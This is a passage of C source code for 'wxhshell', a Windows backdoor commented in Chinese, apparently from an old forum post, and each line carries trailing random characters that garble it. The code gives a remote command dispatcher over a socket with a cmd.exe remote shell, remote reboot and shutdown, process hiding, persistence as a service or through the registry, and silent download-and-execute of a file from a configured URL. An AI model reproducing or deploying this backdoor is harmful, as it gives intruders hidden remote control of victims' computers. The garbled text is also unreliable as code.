  // 帮助 "kIlxf3  
  case '?': { K05T`+N,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); muFWFq&yP  
    break; 4TiHh  
  } t9lf=+%s  
  // 安装 V<PH5'^$j  
  case 'i': { 4gmlK,a  
    if(Install()) ^\yz`b(A0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0| =y#`;,Z  
    else 'bg'^PN>z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,WW=,P  
    break; z  61Fq  
    } z|(<Co8#.  
  // 卸载 ~9;udBfwF  
  case 'r': { ) <w`:wD  
    if(Uninstall()) qamq9F$V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z# Ita;  
    else KhL%ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^ OHLT  
    break; 3m$Qd#|  
    } |fgh ryI,  
  // 显示 wxhshell 所在路径 Y^8'P /A  
  case 'p': { t/3qD7L  
    char svExeFile[MAX_PATH]; =&FaMR2  
    strcpy(svExeFile,"\n\r"); 3&+nV1  
      strcat(svExeFile,ExeFile); [O]rf+NZ(5  
        send(wsh,svExeFile,strlen(svExeFile),0); G6JP3dOT  
    break; Y&DoA0/y  
    } '0I>  
  // 重启 q; C6ID`  
  case 'b': { :C={Z}t/F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HoeW6UV  
    if(Boot(REBOOT)) J*Cf1 D5!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .}(X19R  
    else { 2j ]uB0  
    closesocket(wsh); oP:R1<  
    ExitThread(0); z*cKH$':  
    } WQB V~.<Yv  
    break; @V^5_K  
    } p+7#`iICE  
  // 关机 GSfU*@L3  
  case 'd': { 79h'sp6;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [N"=rY4G  
    if(Boot(SHUTDOWN)) ph%t #R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.EL^;r  
    else { MfdkvJ'  
    closesocket(wsh); nmyDGuzk  
    ExitThread(0); >Y|P+Z\7  
    } by,3A  
    break; vRDs~'f  
    } M(^ e)7a1  
  // 获取shell \}YAQ'T  
  case 's': { m5, &;~  
    CmdShell(wsh); "QBl "<<s  
    closesocket(wsh); Zv8_<>e  
    ExitThread(0);  ?H_>?,^  
    break; \pP1k.~UnC  
  } 5Ux=5a  
  // 退出 <@0S]jy  
  case 'x': { Q6N?cQtOT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pA_e{P/  
    CloseIt(wsh); h&~9?B  
    break; 2~V"[26t  
    } \zOsq5}  
  // 离开 8CH9&N5W5t  
  case 'q': { 6#a82_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C+dz0u3s  
    closesocket(wsh); 'X ?Iho  
    WSACleanup(); :dxKcg7  
    exit(1); 8;,|z%rS"  
    break; X `F>kp1  
        } 1Cw$^jd  
  } q &S@\b  
  } O2U}jHsd  
[EK^0g   
  // 提示信息 X|}Q4T`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xc~BHEp  
} n_wF_K\h  
  } 7c6- o"A  
)lJi7 ^,  
  return; ]c]^(C  
} 3/]~#y%2  
_p^Wc.[~M  
// shell模块句柄 _!w69>Nj  
int CmdShell(SOCKET sock) 9Q 7342  
{ Zvra >%  
STARTUPINFO si; u EERNo&  
ZeroMemory(&si,sizeof(si)); Cj/!m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mf7 [@#$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *uKYrs [  
PROCESS_INFORMATION ProcessInfo; +k/=L9#e  
char cmdline[]="cmd"; wbg ?IvY[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K1&t>2=%  
  return 0; _3#_6>=M  
} $)KNpdXh  
SA%)xGRW  
// 自身启动模式 l j+p}dt  
int StartFromService(void) m9\~dD  
{ @CoUFdbz  
typedef struct vZ^U]h V  
{ 7 ;2>kgf~  
  DWORD ExitStatus; $6 4{Ff  
  DWORD PebBaseAddress; 0w vAtK|Q  
  DWORD AffinityMask; Oh,Xjel  
  DWORD BasePriority; #5iwDAw:|r  
  ULONG UniqueProcessId; $Yw~v36`t/  
  ULONG InheritedFromUniqueProcessId; 8>xd  
}   PROCESS_BASIC_INFORMATION; Lg7dJnf  
p1T0FBV L  
PROCNTQSIP NtQueryInformationProcess; %MCS_'N J  
voJJoy%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7I;0 %sVQ{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O[p c$Pi  
FL&L$#X  
  HANDLE             hProcess; <UTO\w%  
  PROCESS_BASIC_INFORMATION pbi; Zcg-i:@  
,C:^K`k&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *r7%'K{ C  
  if(NULL == hInst ) return 0; 6]4=8! J  
8m#y>`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $I<\Yuy-M9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D u_ ;!E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yQ&C]{>TS  
1Ve~P"w  
  if (!NtQueryInformationProcess) return 0; ~B7<Yg  
VZ7E#z+nM#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *?>52 -&b  
  if(!hProcess) return 0; ih |&q  
,vBB". LY'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zz8NBO  
_ D"S  
  CloseHandle(hProcess); Vl'rO_?t  
K~fWZT3]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :'[ha$  
if(hProcess==NULL) return 0; gJg+ ]-h/  
M'T[L%AP  
HMODULE hMod; 5v sn'=yN  
char procName[255]; 'aS: Azb  
unsigned long cbNeeded; V >~\~H2Y  
Zv9%}%7p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z|A+\#'  
M<Y{Cs  
  CloseHandle(hProcess); p<y \ ^a  
 RcZ&/MY  
if(strstr(procName,"services")) return 1; // 以服务启动 vYq"W%  
kovJ9  
  return 0; // 注册表启动 .&h|r>*|J  
} phwBil-vUU  
Fc|N6I'o  
// 主模块 #eF k  
int StartWxhshell(LPSTR lpCmdLine) #T8PgmR  
{ `3z6y& dmx  
  SOCKET wsl; ]?NiY:v  
BOOL val=TRUE; tg9{(_ t/W  
  int port=0; Zq:c2/\c}  
  struct sockaddr_in door; lg{M\ +  
u)%/df qzZ  
  if(wscfg.ws_autoins) Install(); L D%SLJ:  
Pj5:=d8z(  
port=atoi(lpCmdLine); IBW-[lr7  
.k%/JF91n  
if(port<=0) port=wscfg.ws_port; 98vn"=3  
o)'06FF\$  
  WSADATA data; D4?cnwU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JM53sx4&  
<L2z|%`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =dp`4N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R'oGsaPB2  
  door.sin_family = AF_INET; *q@3yB}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); db>"2EE  
  door.sin_port = htons(port); klTRuU(  
cqcH1aSv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '>Thn{  
closesocket(wsl); o?I`n*u"X  
return 1; k4` %.;  
} <X?xr f  
Fu[GQ6{f  
  if(listen(wsl,2) == INVALID_SOCKET) { &<cP{aBa  
closesocket(wsl); d^0-|sx  
return 1; ucJ8l(?Qc  
} 1k{H,p7  
  Wxhshell(wsl); l-SVI9|<0  
  WSACleanup(); 4y $okn\}i  
|lyspD  
return 0; ?`75ah  
(@=h(u.  
} KbH|'/w  
6B}V{2  
// 以NT服务方式启动 G}aM~,v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X<f4X"y  
{ Ty*+?#`  
DWORD   status = 0; V|<'o<h8  
  DWORD   specificError = 0xfffffff; lQ4$d{m`  
Q,};O$h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7Oi<_b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t&IWKu#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >;}(? +|f  
  serviceStatus.dwWin32ExitCode     = 0; - <tTT  
  serviceStatus.dwServiceSpecificExitCode = 0; 3w/z$bj  
  serviceStatus.dwCheckPoint       = 0; b$tf9$f  
  serviceStatus.dwWaitHint       = 0; /sqfw,h@  
f*^bV_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SjcX|=S  
  if (hServiceStatusHandle==0) return; Ix0#eoj  
Eks<O  
status = GetLastError(); =!/T4Oo  
  if (status!=NO_ERROR) $MM[`^~  
{ +^.xLTX`$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wxi;Tq9C@_  
    serviceStatus.dwCheckPoint       = 0; Q v},X~^R  
    serviceStatus.dwWaitHint       = 0; g9IIC5  
    serviceStatus.dwWin32ExitCode     = status; v7D0E[)~  
    serviceStatus.dwServiceSpecificExitCode = specificError; VS65SxHA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BU|m{YZ$  
    return; /)4Q%Zp  
  } {&FOa'bP  
r>rL[`p(2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <t"fL RX  
  serviceStatus.dwCheckPoint       = 0; ?DY6V;&F@f  
  serviceStatus.dwWaitHint       = 0; nd5.Py$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2\F'So  
} sBNqg~HwB?  
0;w84>M  
// 处理NT服务事件,比如:启动、停止 ^C}f|{J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U?Vik  
{ ]UZP dw1D  
switch(fdwControl) c#@L~<  
{ \t? ;p-+ta  
case SERVICE_CONTROL_STOP: !HXyvyDN  
  serviceStatus.dwWin32ExitCode = 0; -1ci.4F&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IcNZUZGE  
  serviceStatus.dwCheckPoint   = 0; _&]Gw, ~/i  
  serviceStatus.dwWaitHint     = 0; ;h#Q!M&e#  
  { y"H(F,(N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %-|$7?~   
  } khQ fLA  
  return; `'pfBVBz  
case SERVICE_CONTROL_PAUSE: eGWwPSIp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "M,Hm!j  
  break; w!}kcn<  
case SERVICE_CONTROL_CONTINUE: hz h3p[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Tq8U5#NF  
  break; uTy00`1  
case SERVICE_CONTROL_INTERROGATE: C @P$RVS  
  break; -y/Y%]%0  
}; T6\d]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~n+hhMF  
} p#>,{  
V! .I>  
// 标准应用程序主函数 H<q z rO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tNAmA  
{ -JclEp  
)?( _vrc<  
// 获取操作系统版本 SN$3cg]z  
OsIsNt=GetOsVer(); ,5x9o"N!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yEVnG` 1  
_gpf9ad  
  // 从命令行安装 v}@Uc-(  
  if(strpbrk(lpCmdLine,"iI")) Install(); HYNpvK  
'"6*C*XS  
  // 下载执行文件 8]4W@~c  
if(wscfg.ws_downexe) { =vL >&$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) On,z# A  
  WinExec(wscfg.ws_filenam,SW_HIDE); QO4eDSW  
} pQ8f$I#v  
r\q|DZ7  
if(!OsIsNt) { i1Y<[s  
// 如果时win9x,隐藏进程并且设置为注册表启动  o%$R`;  
HideProc(); p`'3Il3  
StartWxhshell(lpCmdLine); )0=H)k0  
} zGP@!R`_  
else V@`%k]k  
  if(StartFromService()) |#B)`r8  
  // 以服务方式启动 $7p0<<Nck  
  StartServiceCtrlDispatcher(DispatchTable); Lv#}Gm  
else Zb+n\sv4  
  // 普通方式启动 IYhn*  
  StartWxhshell(lpCmdLine); ^[q/w<_j~  
1W7ClT_cQ  
return 0; $-39O3  
}
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只看该作者 1 发表于: 2006-10-10
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